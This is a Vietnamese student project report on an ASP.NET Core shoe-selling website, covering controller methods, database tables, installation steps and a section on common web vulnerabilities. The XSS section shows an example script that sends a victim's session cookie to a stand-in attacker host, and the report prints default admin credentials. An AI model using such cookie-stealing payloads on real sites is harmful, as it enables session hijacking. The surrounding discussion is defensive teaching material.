7 Details Hiển thị chi tiết int ?id Trả về
thông tin là View
thông
tin chi
tiết

2.4.2.4. Bảng mô tả các phương thức trong lớp [OrderDetailsController]

T Tên phương Mục đích chính Input Output Mã giả Tên file có gọi
T thức của phương sử dụng
thức trong phương thức.
chương trình Liệt kê số
dòng vị trí gọi.
1 Edit Thực hiện hiện int? Trả về OrderDetailsC
thị ra thông tin ShoesI 1 View ontroller dòng
cần chỉnh sửa d, int? danh 154,200
OrderI sách
d
2 PostEdit Thực hiện int id, Trả về 1
chỉnh sửa OrderD View
thông tin lưu etail danh
vào database orderD sách
etai
3 Delete Thực hiện hiện int? Trả về
thị ra thông tin ShoesI là View
xóa d, int? danh
OrderI sách chi

46
d tiết hóa
đơn của
hóa đơn
4 DeleteComfir Thực hiện với int Trả về
med database xóa ShoesI View
thông tin d, int thông
OrderI tin đã
d thực
hiện
việc xóa
5 Details Hiển thị chi tiết int ?id Trả về
thông tin là View
danh
sách chi
tiết hóa
đơn của
hóa đơn

2.4.2.5. Bảng mô tả các phương thức trong lớp [ProvidersController]

T Tên phương Mục đích chính Input Output Mã giả Tên file có gọi
T thức của phương sử dụng
thức trong phương thức.
chương trình Liệt kê số
dòng vị trí gọi.
1 Index Trả về View Trả về ProvidersCont
danh sách nhà 1 View roller dòng
cung cấp danh 39,64,94
sách
2 PostCreate Thực hiện với Provid Trả về
databse thêm ers View
thông tin nhà provide thông

47
cung cấp r tin đã
được
thêm
3 Edit Thực hiện hiện int? id Trả về
thị ra thông tin là View
cần chỉnh sửa thông
tin cần
chỉnh
sửa
4 PostEdit Thực hiện int? id, Trả về
chỉnh sửa Provid là View
thông tin lưu ers thông
vào database provide tin đã
r chỉnh
sửa
5 Delete Thực hiển hiển int ?id Trả về
thị thông tin là 1
cần xóa View
thông
tin cần
xóa
6 PostDelete Thực hiện với int ?id Trả về
database xóa là 1
thông tin View
thông
tin sau
khi xóa
7 Details Hiển thị chi tiết Int ?id Trả về
thông tin là 1
View
thông
tin chi

48
tiết

2.4.2.6. Bảng mô tả các phương thức trong lớp [ProviderShoesController]

T Tên phương Mục đích chính Input Output Mã giả Tên file có gọi
T thức của phương sử dụng
thức trong phương thức.
chương trình Liệt kê số
dòng vị trí gọi.
1 Index Trả về View Trả về ProviderShoes
danh sách nhà là 1 Controller
cung cấp loại View dòng
giày danh 54,80,122
sách
2 PostCreate Thực hiện với Trả về
databse thêm View
thông tin nhà thông
cung cấp tin đã
được
thêm
3 Edit Thực hiện hiện int ? Trả về
thị ra thông tin Provid là View
cần chỉnh sửa erID, thông
int ? tin cần
ShoesI chỉnh
D sửa
4 PostEdit Thực hiện int Trả về
chỉnh sửa Provid View
thông tin lưu erID,in thông
vào database t tin đã
ShoesI chỉnh
D sửa

49
5 Delete Thực hiển hiển int? Trả về 1
thị thông tin Provid View
nhà cung cấp erID, thông
của từng loại int? tin cần
giày cần xóa ShoesI xóa
D
6 DeleteConfir Thực hiện với int Trả về
med database xóa Provid View
thông tin erID, thông
int tin sau
ShoesI khi xóa
D
7 Details Hiển thị chi tiết int? Trả về
thông tin Provid là View
erID, thông
int? tin chi
ShoesI tiết
D

2.4.2.6. Bảng mô tả các phương thức trong lớp [ShoesController]

T Tên phương Mục đích chính Input Output Mã giả Tên file có gọi
T thức của phương sử dụng
thức trong phương thức.
chương trình Liệt kê số
dòng vị trí gọi.
1 Index Trả về View Trả về ShoesControll
danh sách giày là 1 er dòng
có trong View 104,186,203
database danh
sách

50
2 CreatePost Thực hiện với Trả về
databse thêm View
thông tin nhà thông
cung cấp tin đã
được
thêm
3 Edit Thực hiện hiện int? id Trả về
thị ra thông tin là View
cần chỉnh sửa thông
tin cần
chỉnh
sửa
4 PostEdit Thực hiện int id Trả về
chỉnh sửa View
thông tin lưu thông
vào database tin đã
chỉnh
sửa
5 Delete Thực hiển hiển int? id Trả về 1
thị thông tin View
nhà cung cấp thông
của từng loại tin cần
giày cần xóa xóa
6 DeleteConfir Thực hiện với int id Trả về
med database xóa View
thông tin thông
tin sau
khi xóa
7 Details Hiển thị chi tiết int? id Trả về
thông tin giày là View
thông
tin chi

51
tiết

2.4.2.7. Bảng mô tả các phương thức trong lớp [ShoesTypeController]

T Tên phương Mục đích chính Input Output Mã giả Tên file có gọi
T thức của phương sử dụng
thức trong phương thức.
chương trình Liệt kê số
dòng vị trí gọi.
1 Index Trả về View Trả về ShoesTypeCo
danh sách loại là 1 ntroller dòng
giày có trong View 38,71,113
database danh
sách
2 CreatePost Thực hiện với ShoeT Trả về
databse thêm ypes View
thông tin nhà shoeTy thông
cung cấp pes tin đã
được
thêm
3 Edit Thực hiện hiện int? id Trả về
thị ra thông tin là View
cần chỉnh sửa thông
tin cần
chỉnh
sửa
4 PostEdit Thực hiện int id, Trả về
chỉnh sửa ShoeT View
thông tin lưu ypes thông
vào database shoeTy tin đã
pes chỉnh
sửa

52
5 Delete Thực hiển hiển int? id Trả về 1
thị thông tin View
nhà cung cấp thông
của từng loại tin cần
giày cần xóa xóa
6 PostDelete Thực hiện với int id Trả về
database xóa View
thông tin thông
tin sau
khi xóa
7 Details Hiển thị chi tiết int? id Trả về
thông tin loại là View
giày thông
tin chi
tiết

53
2.5. Thiết kế CSDL

2.5.1. Mô hình diagram

54
2.5.2. Mô hình ERD

Bảng mô tả các bảng trong CSDL :

T Tên bảng Mục đích của bảng trong chương trình


T
1 Providers Chứa thông tin của nhà cung cấp bao gồm địa chỉ, Id,
tên nhà cung cấp
2 ProviderShoes Là bảng được sinh ra từ mối quan hê ̣ nhiều nhiều
giữa nhà cung cấp và giày chứa mã nhà cung cấp và
mã giày
3 Brands Chứa thông tin của hãng giày bao gồm Id, tên hãng
và quốc gia của hãng giày
4 ShoesTypes Chứa thông tin của loại giày bao gồm Id, tên loại giày
5 Shoes Chứa thông tin của giày bao gồm Id, tên giày, màu
sắc, giá, kích thước, hình ảnh, tình trạng còn hàng, Id
hãng giày, id loại giày
6 Orders Chứa thông tin của đơn hàng bao gồm Id, mã người
bán, ngày hẹn, trên khách hàng, số điê ̣n thoại, email
khách hàng, tình trạng xác nhâ ̣n, ngày hoàn thành, địa
chỉ.
7 OrderDetails Chứa thông tin chi tiết của đă ̣t hàng bao gồm mã đơn
hàng, mã giày, ngày tới, giá giày.

2.5.2.1 Bảng mô tả các trường trong bảng Providers

STT Thuộc tính Kiểu Miền giá trị Ý nghĩa Ghi chú

1 Id int Khóa chính Mã nhà cung cấp Not null

2 Name nvarchar(MAX) Tên nhà cung cấp Not null

55
3 Address nvarchar(MAX) Địa chĩ nhà cung cấp Not null

2.5.2.2. Bảng mô tả các trường trong ProviderShoes

Miền Ghi
STT Thuộc tính Kiểu Ý nghĩa
giá trị chú

Khóa Not
1 ShoesID int Mã giày
chính null

Khóa Not
2 ProviderID int Mã nhà cung cấp
chính null

2.5.2.3. Bảng mô tả các trường trong Brands

Miền Ghi
STT Thuộc tính Kiểu Ý nghĩa
giá trị chú

Khóa Not
1 Id int Mã hãng giày
chính null

Not
2 Name nvarchar(Max) Tên hãng giày
null

Not
3 Country nvarchar(Max) Quốc gia của hãng giày
null

2.5.2.4. Bảng mô tả các trường trong ShoesTypes

Miền Ghi
STT Thuộc tính Kiểu Ý nghĩa
giá trị chú

1 Id int Khóa Mã loại giày Not

56
chính null

Not
2 Name nvarchar(MAX) Tên loại giày
null

2.5.2.5. Bảng mô tả các trường trong Shoes

Miền Ghi
STT Thuộc tính Kiểu Ý nghĩa
giá trị chú

Khóa Not
1 ID int Mã giày
chính null

Not
2 Name nvarchar(MAX) Tên giày
null

Not
3 Color nvarchar(MAX) Màu giày
null

Not
4 Price Decimal(18,2) Giá giày
null

Not
5 Size bit Size giày
null

Địa chỉ đường dẫn tới Allow


6 Image nvarchar(MAX)
hình đôi giày null

Not
7 Available bit Tình trạng còn hàng
null

Not
8 BrandID int Mã hãng giày
null

Not
9 ShoeTypeID Int Mã loại giày
null

57
2.5.2.6. Bảng mô tả các trường trong Orders

Miền
Ghi
STT Thuộc tính Kiểu giá Ý nghĩa
chú
trị

Khóa Not
1 Id int Mã đă ̣t hàng
chính null

Not
2 SalePersonId int Mã người bán hàng
null

Not
3 AppointmentDate Datetime2(7) Ngày hẹn
null

Not
4 CustomerName nvarchar(MAX) Tên khách hàng
null

Số điê ̣n thoại khách Allow


5 CustomerPhoneNumber nvarchar(MAX)
hàng null

Allow
6 CustomerEmail nvarchar(MAX) Email khách hàng
null

Allow
5 isComfirmed bit Tình trạng duyê ̣t
null

Ngày hoàn thành Not


6 NgayHoanThanh date
yêu cầu null

Allow
7 address nvarchar(MAX) Địa chỉ khách hàng
null

2.5.2.7. Bảng mô tả các trường trong OrderDetails

58
ST Miền Ghi
Thuộc tính Kiểu Ý nghĩa
T giá trị chú

Khóa Not
1 Id int Mã chi tiết hóa đơn
chính null

Allo
2 OrderId int Mã order w
null

Allo
3 ShoesID int Mã giày w
null

Not
4 ArriveDate Datetime2(7) Ngày giao hàng
null

Not
5 Price Decimal(18,2) Giá
null

3. CÀI ĐẶT MÔI TRƯỜNG

3.1. Cài đặt Visual Studio 2019:


- Để phát triển bất kỳ một ứng dụng Web theo nền tảng ASP.Net thì trước tiên cần
cài đặt Visual Studio 2019.
- Nếu đã cài đặt Visual Studio 2019 thì có thể bỏ qua bước này

3.1.1. Download Visual Studio 2019


Download JDK https://visualstudio.microsoft.com/downloads/.

59
Ở trên có 3 phiên bản Visual Studio 2019. Đó là: Community, Professional và
Enterprise. Với người muốn dùng miễn phí không có tiền thì tải bản Community.
Còn khi có bản quyền cài bản cao hơn.

3.1.2. Cài đă ̣t Visusal Studio 2020


Sau khi tải thành công ta có file chạy như dưới đây:

Nhấn Double Click vào để file cài đă ̣t thực thi

60
Tùy vào tốc độ của máy cũng như đường truyền mạng, sau khi tải xong ta sẽ có màn hình
như dưới đây:

Tùy vào nhu cầu lập trình mà ta sẽ chọn các gói khác nhau. Với chương trình ta cài các
phền sau

61
Sau đó ta bắt đầu bấm Install để cài đặt nha:

Lúc này Microsoft nhờ ta làm khảo sát, bạn “bận” quá thì bấm vào Not Now.
Sau đó chờ hệ thống cài đặt nha:

62
Chờ tới khi nào nó xong (tùy vào tốc độ máy):

Visual Studio Enterprise 2019. bản 16.0.0 coi như đã gần xong
Lúc này nó sẽ có màn hình dưới đây tự động xuất hiện:

63
bấm Sign In:

64
Chọn Personal account.

Màn hình trên thấy đăng nhập thành công nha. Đây là màn hình lúc khởi động Visual
Studio 2019:

65
Khi khởi động xong, ta có màn hình dưới đây (nó khá khác biệt với các version cũ):

66
3.2. Cài đặt SQL Server 2017
Bước 1: Truy cập vào https://www.microsoft.com/en-us/sql-server/sql-server-
downloads để tải phần mềm về, vì bạn đang học nên hãy chọn một trong hai phiên bản
Developer hoặc Express.

Bước 2:  Hãy chạy file SQLServer mà bạn vừa tải về bằng cách double click vào file, nếu
Window hỏi bạn có muốn cài đặt không thì hãy chọn YES nhé.

Bước 3: Quá trình cài đặt bắt đầu nên bạn hãy chờ trong vài giây, sau đó xuất hiện ô cửa
sổ như sau thì bạn hãy chọn Basic.

Bước 4: Hệ thống sẽ hiển thị một số thông tin trước khi cài đặt, bạn hãy
click Accept để đồng ý với nó là đã đọc và hiểu nhé.

67
Bước 5: chọn ổ đĩa muốn cài đặt, thường sẽ để ổ đĩa mặc định là ổ C:\Program
Files\Microsoft SQL Server. Click Install để bắt đầu quá trình cài đặt.

68
Bước 6: Sau khi cài xong bạn sẽ nhận được một giao diện như dưới đây, hãy click Install
SSMS nhé. 

69
Bước 7: Chương trình sẽ mở một trang web để download SSMS về, bạn hãy click
vào Download SQL Server Management Studio 17.8. Đây là phần mềm môi trường được
tích hợp vào để quản lý cơ sở hạ tầng SQL Server.

70
Sau khi tải về bạn hãy cài đặt file đó luôn nhé, cách cài đặt rất đơn giản, cứ
click Yes và Install.

Như vậy là bạn đã cài xong rồi đấy, bây giờ ta cần học cách thao tác đăng nhập vào để
tạo CSDl.

Bạn hãy mở chương trình Microsoft SQL Server Management Studio lên bằng cách
tìm nó trong mục Start của Windows.

Màn hình sẽ hiển thị chương trình kết nối SQL Server, bạn hãy chọn Connect.

71
Sau khi đăng nhập thành công thì bạn sẽ nhận được giao diện như sau, đây là phần quản
lý CSDL của bạn, và cũng là nơi bạn viết các câu lệnh SQL.

72
Ok, như vậy là bạn đã cài đặt SQL Server 2017 thành công rồi đấy, bài tiếp theo chúng ta
bắt đầu tìm hiểu cách viết các câu truy vấn SQL.

4. CHẠY CHƯƠNG TRÌNH:


3 Hướng dẫn cài đă ̣t
1. Source code:
https://drive.google.com/file/d/1ErvKoHRCxIbSossk6T9tDn2VIWP1rT36/view?
usp=sharing

2. Mô tả: Đồ án dùng để xây dựng 1 trang web bán giày
 Ngôn ngữ: C# với asp.net core 2.1
 Môi trường phát triền Microsoft Visual Studio 2017 trở lên.
 Cơ sở dữ liê ̣u: Microsoft SQL server.
 Triển khai theo Code first + mô hình MVC (Model View Controller)

3. Cấu hình để code hoạt động


Vào file appsettings.json

73
Trong file appsettings.json tìm dòng DefautConnecton thay chỗ được tô xanh
thành tên Server của bạn.

Xong vào Tool-> NuGet Package Manager-> Package Manager Cosole.

Trong cửa sổ Package Manager Cosole nhập update-database

Run app

74
Kết quả

Đăng nhâ ̣p tài khoản

Tài khoảng đăng nhặp admin:


Username: admin@gmail.com
Password: Admin123*

75
BẢNG PHÂN CÔNG CÔNG VIỆC CỦA THÀNH VIÊN
STT Họ tên Phân công công việc
1 Nguyễn Tạ Minh - Access Control Flaws
Trung - Ajax Security
(50%) - Authentication Flaws
- Buffer Overflaws
- Code Quality
- Thread Safety Problems
- XSS
- CSRF
- Denial of Service
- SQL Injection
- Các lỗi khác
- Nâng cấp HTTPS
2 Trịnh Văn Công - Access Control Flaws
(50%) - Ajax Security
- Authentication Flaws
- Buffer Overflaws
- Code Quality
- Thread Safety Problems
- XSS
- CSRF
- Denial of Service
- SQL Injection
- Các lỗi khác
- Nâng cấp HTTPS

5. CÁC LỖI BẢO MẬT – NGUYÊN NHÂN – GIẢI PHÁP NGĂN CHẶN CŨNG
NHƯ CHỈNH SỬA CÁC LỖI XUẤT HIỆN TRONG PROJECT

5.1 SQL injection:


 SQL Injection là một loại lỗ hổng ứng dụng web mà kẻ tấn công có thể thao tác và
thực hiện một lệnh truy vấn SQL để lấy các thông tin từ cơ sở dữ liệu
 Các dạng tấn công SQL Injection
- System store procedure (hệ thống thủ tục lưu trữ)

76
- Illegal/Logically Incorrect Query (Lệnh truy vấn bất hợp pháp hay không
đúng logic)
- Tautology (Tấn công bằng mệnh đề luôn đúng)
- Union Query
- Blind SQL Injection
 Vấn đề: Lỗi SQL Injection thường sảy ra trên hệ thống khi các giá trị đầu vào tại
các thẻ input không được ràng buộc rõ ràng các kí tự đặc biệt, đễ dẫn đến kẻ tấn
công có thể tiêm nhiễm các câu lệnh SQL vào trong bằng một trong các cách trên
 Cách khắc phục:
 Kiểm tra giá trị nhập vào: để phòng tránh các nguy cơ có thể xảy ra, hãy bảo
vệ các câu lệnh SQL bằng cách kiểm soát chặt chẽ tất cả các dữ liệu nhập nhận
được từ đối tượng GET và POST, luôn luôn kiểm tra và xác minh các ký tự: ‘.
#,–,/* */ và các từ khóa nhạy cảm như: select, insert, union, delete.
 Thiết lập cấu hình an toàn cho hệ quản trị database: Cần có cơ chế kiểm
soát chặt chẽ và giới hạn quyền xử lí dữ liệu đến tài khoản người dùng mà ứng
dụng web đang sử dụng. Quyền càng bị hạn chế, thiệt hại càng ít. Ngoài ra để
tránh các nguy cơ từ SQL Injection attack, nên chú ý loại bỏ bất kì thông tin kĩ
thuật nào chứa trong thông điệp chuyển xuống cho nguời dùng khi ứng dụng có
lỗi. Các thông báo lỗi thông thường tiết lộ các chi tiết kĩ thuật có thể cho phép
hacker biết dược điểm yếu của hệ thống.

 Vì project sử dụng Entity Framework để làm việc với SQL khi cần gọi hàm, thủ
tục chỉ cần gọi các hàm của Entity Framework mà không cần làm các SQL thông
thường nên tránh được các SQLinjection.Ngoài ra do sử dụng Entity Framework
nên cơ sở dữ liê ̣u thành các đối tượng C# hướng đối tượng và các Controller cũng
chỉ thực thi các thao tác với cơ sỡ dữ liê ̣u thông qua các lớp đối tượng.
Các lớp đối tượng được ánh xạ từ CSDL nằm trong phần model, các Controller sau
khi tiếp nhâ ̣n request từ phía kẻ tấn công sẽ thông qua các lớp Model để trao đổi
với CSDL nhưng vì ở Controller em dùng Model Buider Method (phương thức xây
dựng truy vấn) nên viê ̣c tiêm SQL Injection là không được.

 Đối với hình thức tấn công nay nhóm chưa tìm ra được lỗ hổng SQL injection

77
5.2 Broken Authentication

5.2.1: Authentication Bypasses:


 Vấn đề: Trong một hệ thống, viê ̣c bỏ qua xác thực có thể xảy ra bởi nhiều nguyên
nhân nhưng thường là do lỗi logic hay cấu hình sai.
 Giải pháp: Mọi thông tin để người dùng chứng thực đều phải được kiểm tra đầy đủ
và chính xác, với những giá trị quan trọng luôn bắt buô ̣c nhâ ̣p và kiểm tra.
 Project: Mọi thông tin xác thực bắt buô ̣c trên form đăng nhâ ̣p đều được kiểm tra
đầu vào và trên LoginModel nhóm cũng kiểm tra đầu vào của Username và
Password nên để đăng nhâ ̣p mọi thông tin đều phải đúng.

5.2.2: JWT Tokens:


 Vấn đề: Khi ta đã đang nhâ ̣p vào mô ̣t trang web thì trang web sẽ gán cho ta mô ̣t
JWT (Json Web Token) được gán vào cookie trên máy. Token đó sẽ chứa các
thông tin để xác minh người dùng như tên, usename, quyền hạn nhưng không có
các thông tin nhạy cảm như password. Khi kẻ tấn ông do mô ̣t thủ đoạn nào đó có
được các token này và chỉnh sửa token nhằm thực hiê ̣n chứng thực giả mạo thì rất
là nguy hiểm cho hê ̣ thống.
 Giải pháp: Sử dụng HTTPS khi truyền tải dữ liê ̣u cũng như thực hiê ̣n các biê ̣n
pháp tạo ra các token không thể làm giả được.
 Project: Do sử dụng IdentityUser và IdentityRole và sử dụng EntityFramework của
C# nhằm xác thực nên token được tạo ra ở dạng .AspNetCore.Antiforgery và
.AspNetCore.Identity.Application. Thêm vào đó là trang Web được chạy trên
HTTPS nên khó có thể lấy và sửa dụng token.

5.2.3: Password reset:


 Vấn đề: Hiê ̣n nay với chức năng đă ̣t lại mâ ̣t khẩu thì kẻ tấn công có thể tâ ̣n dụng.
Với trường hợp những trang web lâu đời vẫn dùng phương pháp bảo mâ ̣t thứ 2 khi
quên password là dùng những các câu hỏi và lưu lại câu trả lời của người dùng và
dùng trong đă ̣t lại mâ ̣t khẩu. Những câu trả lời thường rất đơn giản và kẻ tấn công
có thể dùng brute-force để dò câu trả lời nên như vâ ̣y là rất dễ bị tấn công.
 Giải pháp: Ngày nay các trang web thường sử dụng đă ̣t lại mâ ̣t khẩu thông qua viê ̣t
gửi email về mô ̣t tài khoản email đã được người dùng chỉ định ra để đă ̣t mâ ̣t khẩu.

78
 Project: Trong project này chức năng đă ̣t lại nên không thể thực hiê ̣n đă ̣t lại.
Nhưng do tên đăng nhâ ̣p của Web là kiểu email nên viê ̣t nâng cấp mở rô ̣ng nhằm
gửi mail để đă ̣t lại mâ ̣t khẩu là có thể làm được.

5.2.4: Secure password:


 Vấn đề: Mức đô ̣ khó giải mã của người dùng chưa cao dẫn đến viê ̣t dễ dàng đoán
mâ ̣t khẩu người dùng thông qua Brute Force
 Giải pháp: Quy định rõ ràng mức độ mật khẩu yêu cầu (về độ dài tối thiểu, tối đa,
những kí tự nào là hợp lệ để đặt mật khẩu…).
 Project: Trong project này chức năng do sử dụng Identyuser của Asp.net nên mâ ̣t
khẩu của trang web phải tối thiểu 8 ký tự, có chữ viê ̣t hoa, viết thường và có số.

5.3 Sensitive Data Exposure


 Vấn đề: Những dữ liệu quan trọng như password, tài khoản ngân hàng hay thông
tin cá nhân được lưu trữ mà không được mã hóa hay mã hóa bằng những thuật toán
đơn giản, lỗi thời có thể bị đánh cấp và giải mã dễ dàng. Việc truyền dữ liệu mà
không mã hóa cũng có thể bị người tấn công dễ dàng lợi dụng và đánh cấp thông
tin.

 Giải pháp: Sử dụng giao thức HTTPS khi truyền dữ liệu để tránh việc bị đánh cấp.
Không lưu các thông tin cá nhân nhưng không cần thiết đối với chương trình, đảm
bảo tất cả các thông tin quan trọng đã được mã hóa. Sử dụng các thuật toán, giao
thức mã hóa mạnh mẽ và hiện đại để mã hóa các thông tin quan trọng.

 Project: khi người dùng đăng nhâ ̣p mà request post bị chă ̣n, thông tin username và
password vẫn hiê ̣n ra. Điều này gây nguy hiểm cho ứng dụng Web

79
 Giải pháp: trong project của chúng em đã nâng lên thành HTTPS nên việc truyền
dữ liệu đã được đảm bảo an toàn. Về phía lưu trữ, chúng em chỉ lưu lại những
thông tin như tên, tài khoản đăng nhặp vào web và mật khẩu của mỗi tài khoản đã
được mã hóa bằng thuật toán của visual Studio.

5.4 XML External Entities (XXE)


 XML: là một ngôn ngữ đánh dấu mở rộng, được ứng dụng rất rộng rãi. Nó sử dụng
để trao đổi dữ liệu giữa các ứng dụng. Hiện nay có rất nhiều loại tài liệu sử dụng
định dạng XML như rtf, pdf, tệp hình ảnh (svg) hay các file cấu hình.
 XXE:  là một lỗ hổng bảo mật web cho phép kẻ tấn công can thiệp vào quá trình
xử lý dữ liệu XML của ứng dụng. Nó thường cho phép kẻ tấn công xem các tệp
trên hệ thống tệp của máy chủ ứng dụng và tương tác với bất kỳ hệ thống phụ trợ
hoặc bên ngoài nào mà chính ứng dụng có thể truy cập.
 Có nhiều kiểu tấn công XXE khác nhau:
o Khai thác XXE để truy xuất tệp , trong đó một thực thể bên ngoài được xác
định có chứa nội dung của tệp và được trả về trong phản hồi của ứng dụng.
o Khai thác XXE để thực hiện các cuộc tấn công SSRF , trong đó một thực thể
bên ngoài được xác định dựa trên URL tới hệ thống back-end.
o Khai thác mù XXE exfiltrate dữ liệu ngoài băng tần , nơi dữ liệu nhạy cảm
được truyền từ máy chủ ứng dụng đến một hệ thống mà kẻ tấn công kiểm
soát.

80
o Khai thác mù XXE để lấy dữ liệu qua các thông báo lỗi , trong đó kẻ tấn
công có thể kích hoạt thông báo lỗi phân tích cú pháp có chứa dữ liệu nhạy
cảm.
 Cách khắc phục:
o Xem lại các trình phân tích cú pháp XML
o Kiểm tra lại đầu vào XML có được vệ sinh trước khi xử lý
o Kiểm tra các thực thể bên ngoài được cho phép
o Bất cứ khi nào có thể, hãy sử dụng các định dạng dữ liệu ít phức tạp hơn như
JSON và tránh việc tuần tự hóa dữ liệu nhạy cảm

 Project: khi làm project đã kiểm tra các thực thể bên ngoài các địa chỉ url có tin
cậy hay không. Ngoài ra việc sử dụng .NET sử dụng trình phân tích cú pháp
.NET XML chống lại XXE mặc định. Vô hiệu hóa hoàn toàn việc sử dụng các
lược đồ DTD nội tuyến trong các đối tượng phân tích cú pháp XML

5.5 Broken Access Control:


 Vấn đề: mô ̣t trang web có sự phân quyền giữa các User khác nhau chẳng hạng như
quyền User bình thường chỉ được xem thông tin, với Admin họ có quyền xem, xóa
hay sửa thông tin đó. Khi mô ̣t người dùng sử dụng các lổ hổng trong phân quyền

81
có thể thực hiê ̣n chức năng nằm ngoài quyền hạn của họ thì đó thì đó là mô ̣t mối
nguy lớn cho tính bảo mâ ̣t của trang Web.
 Giải pháp: Khi thực hiê ̣n các chức năng đã được phân quyền hay các chức năng
liên quan đến Database thì cần có bô ̣ lọc nhằm xác nhâ ̣n quyền người dùng trước
khi thực hiê ̣ chức năng đó.
 Project: Vấn đề này trong trang web bọn em được quản lý mô ̣t cách cẩn thâ ̣n, mỗi
khi đăng nhập vào hệ thống thông tin của mỗi user được lưu trong session (Phiên
làm việc) Mỗi khi user thực hiện thao tác nào đó, thì quyền hạn của user đều được
kiểm tra, nếu ko đúng quyền hạn user đó đều được xuất hiê ̣n thông báo “Access
Denied” nhằm thông báo chức năng trên không được phép. Và chỉ khi nào đúng
quyền hạn thì chức năng đó mới xuất hiện trên hệ thống còn lại đều trong suốt với
người dùng. Với trường hợp người dùng chưa thực hiê ̣n đăng nhâ ̣p sẽ yêu cầu
người dùng đăng nhâ ̣p vào.
[Area("Admin")]
[Authorize(Roles = SD.SuperAdminEndUser)]
public class BrandsController : Controller
{
private readonly ApplicationDbContext _db;
public BrandsController(ApplicationDbContext db)
{
_db = db;
}
Khi cố gắng thực hiê ̣n chức năng không có quyền sẽ xuất hiê ̣n thông báo

5.6 Security Misconfiguration


 Vấn đề: Việc cấu hình bảo mật cho chương trình là rất quan trọng. Một chương
trình mà việc cấu hình mật định không đủ độ an toàn, không hoàn thiện, việc lưu
82
trữ trên cloud không được bảo mật hay việc thông báo lỗi cho người dùng kèm
theo các thông tin quan trọng có thể là nơi mà kẻ tấn công có thể lợi dụng.

 Giải pháp: Kiểm tra việc cấu hình bảo mật cho từng phần của chương trình, kiểm
tra quyền lưu trữ, gửi những khuyến cáo bảo mậtcho người dùng.

 Project: Project của nhóm đã hoàn thiện cấu hình bảo mật cho từng phần của hệ
thống, các tin nhắn thông báo cho người dùng đã được kiểm tra là không chứa các
thông tin bảo mật của hệ thống.

5.7 Cross site Scripting(XSS)


 XSS là một lỗ hổng trong ứng dụng web, trong đó kẻ tấn công sẽ chèn mã độc
thông qua các đoạn script để thực thi ở phía client. Thông thường các cuộc tấn
công XSS được dùng để vượt qua các kiểm soát truy cập mạo danh
 XSS có 3 loại:
 Reflected XSS
 Với cách này kẻ tấn công sẽ gửi cho nạn nhân một đoạn URL có chứa đoạn mã
nguy hiểm, nạn nhân chỉ cần gửi request đến URL này thì kẻ tấn công có thể
đạt mục đích của mình cụ thể cơ chế như sau:
 Người dùng đăng nhập vào trang web, giả sử được gán Session
Set-Cookies: sessionID = kzdomeoipndfgjiodn
 Bằng cách nào đó kẻ tấn công sẽ gửi được cho người dùng URL:
http://example.com/name=var+i=new+Image;+i.src=”http://hacker-
site.net/”%2bdocument.cookie;
 Trong đó example.com là trang người dùng truy cập, và hacker-site.com là
trang kẻ tấn công muốn người dùng đi đên
 Sau khi nạn nhân truy cập vào URL này: đoạn script trên sẽ được thực thi và
server trả về cho nạn nhân và kèm theo dữ liệu trong đoạn script là phiên làm
việc của nạn nhân
 Đoạn script trên thực chất như sau:
var i=new Image; i.src=”http://hacker-site.com/”+document.cookie;
Dòng lệnh trên bản chất thực hiện request đến site của kẻ tấn công với tham số
là cookie người dùng
GET /sessId=5e2c648fa5ef8d653adeede595dcde6f638639e4e59d4 HTTP/1.1

83
Host: hacker-site.com

 Store XSS:
 Store XSS xảy ra khi chúng ta không kiểm tra kỹ đầu vào trước khi đưa vào
CSDL dẫn đến CSDL lưu các đoạn Script tấn công. Khi người dùng truy câ ̣p
vào nô ̣i dung đó thì đoạn Script sẽ được thực thi trên brower. Không giống
Reflected chỉ tấn công vào 1 đối tượng thì Stored XSS tấn công nhiều người
hơn.
 Cơ chế:
 Đầu tiên hacker sẽ thông qua các điểm đầu vào (form, input, textarea…) không
được kiểm tra kỹ để chèn vào CSDL các đoạn mã nguy hiểm.
 Khi người dùng truy cập vào ứng dụng web và thực hiện các thao tác liên quan
đến dữ liệu được lưu này, đoạn mã của hacker sẽ được thực thi trên trình duyệt
người dùng.
 Hình ảnh minh họa

 DOM Base XSS


 DOM Based XSS là kỹ thuật khai thác XSS dựa trên việc thay đổi cấu trúc
DOM của tài liệu, cụ thể là HTML.
 Cơ chế:

84
Một website có URL đến trang đăng ký như sau:
http://example.com/register.php?message=Please fill in the form
Parametter ở đây là message thay vì là Please fill in the form thì kẻ tấn công
bằng các nào đó thay đổi cấu trúc của nó đi như sau
message=<label>Gender</label><div class="col-sm-
4">MaleFemale</div>function show(){alert();}
như vậy cấu trúc trang HTML đã bị thay đổi, form đăng nhập của nạn nhân
có thể thay đổi một các ngoạn mục

 Cách khắc phục:

 Chỉ chấp nhận những dữ liệu hợp lệ

 Từ chối nhận các dữ liệu hỏng

 Liên tục kiểm tra và lọc dữ liệu

 Tạo ra danh sách những thẻ HTML được phép sử dụng, xóa bỏ các
thẻ <script>, coi đoạn script đó như là đoạn trích dẫn lỗi.

 Lọc dấu nháy đơn hay nháy kép

 Xóa các kí tự “>”, “<” hoặc Output Endcoding các kí tự đó

 Project: không đưa dữ liệu không đáng tin cậy vào đầu vào HTML ngoài ra sử việc
dụng môi trường asp.net core hỗ trợ mã hóa tất cả nội dung HTML bằng MVC3,
để mã hóa chính xác tất cả nội dung cho dù HTML, javascript, CSS, LDAP, v.v ...
tránh được việc chèn trực tiếp dữ liệu không đáng tin cậy vào JavaScript.

5.8 Insecure Deserialization

 Serialization là quá trình chuyển thông tin của một đối tượng thành các hình thức
có thể được lưu trữ hoặc truyền đi để bất kỳ máy tính nào có thể nhâ ̣n để hiểu
thông tin. Trong quá trình truyền đi giữa các máy tính hay các chương trình khác
với các ngôn ngữ khác nhau, nó có thể ở dạng byte, XML, JSON,…

85
Deserialization là quá trình ngược lại serialization, thực hiện lấy dữ liệu từ các
định dạng có cấu trúc, khôi phục thông tin theo byte, XML, JSON,... thành các đối
tượng.
Ứng dụng mắc phải lỗ hổng insecure deserialization khi không kiểm tra dữ liệu đầu
vào trước khi thực hiện deserialize. Dữ liệu không đúng dữ liệu không mong muốn
hoă ̣c định dạng có thể bị khai thác để thay đổi luồng xử lý của ứng dụng, gây ra
hậu quả có thể là tấn công từ chối dịch vụ hoặc thực thi mã tùy ý.
 Giải pháp:
- Kiểm soát đầu vào cho các thẻ input.
- Kiểm tra dữ liê ̣u đaầu vào khi deserialize.
 Project: Trong project này bọn em không xử dụng hàm để deserialize nên không
thể kiểm tra lỗ hổng.

5.9 Using Components with Known Vulnerabilities


 Vấn đề: Các thành phần của chương trình như các thư viện, framework hoặc các
